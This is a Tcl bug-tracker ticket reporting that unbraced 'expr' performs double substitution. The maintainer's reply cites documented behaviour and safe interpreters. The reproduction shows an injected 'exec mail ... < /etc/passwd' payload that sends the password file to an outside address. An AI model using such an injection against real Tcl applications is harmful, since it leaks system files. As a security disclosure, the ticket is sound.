Potential safety problem in "expr"
Closed / Fixed218349ffffffffffffffffffffffffffffffffffCreated 26 years agoUpdated 26 years ago
Descriptionplain2000-10-26 00:56:34
OriginalBugID: 4091 Bug
Version: 8.2.2
SubmitDate: '2000-01-26'
LastModified: '2000-01-26'
Severity: MED
Status: Closed
Submitter: techsupp
ChangedBy: hobbs
OS: BSD
OSVersion: FreeBSD 3.2, also tried on Linux 2.2 with Tcl 8.0
FixedDate: '2000-10-25'
ClosedDate: '2000-01-26'
Name:
Jørgen Frøjk Kjærsgaard
Extensions:
None
ReproducibleScript:
Consider this tclsh session
% set a {[exec mail [email protected] < /etc/passwd]}
% puts $a
[exec mail [email protected] < /etc/passwd]
% expr $a + 1
1
ObservedBehavior:
I would expect an error message here, as the value of "a" is not an integer. What happens is that the
dangerous command gets executed and returns a zero! (don't do this unless you want to mail your
/etc/passwd to me!).
DesiredBehavior:
"Common sense" says that an "expr" like the above should be harmless. People might very well use such
a statement in an unsafe interpreter with user (possibly web) input assuming that it can do no harm... I
think it would be a good idea to change "expr" to avoid the dangerous double-interpretation.
This is a documented feature of the expr command, and allows for
expressions like:
expr {[string length $a] == 80}
If one wants safe execution, and is just doing simple expressions
(like for a calculator), that is what safe interpreters are for.
interp create -safe slave
slave eval {expr [exec mail ...] + 1}
=> error will be received
-- 01/26/2000 hobbs
welch Closed ticket [218349ffff].
[History diff]2000-10-26 08:20:08
dgp Open ticket [218349ffff].
[History diff]2001-04-19 04:39:42
dgp Closed ticket [218349ffff].
[History diff]2001-04-19 04:40:26
Log in (anonymous is fine) to add a comment.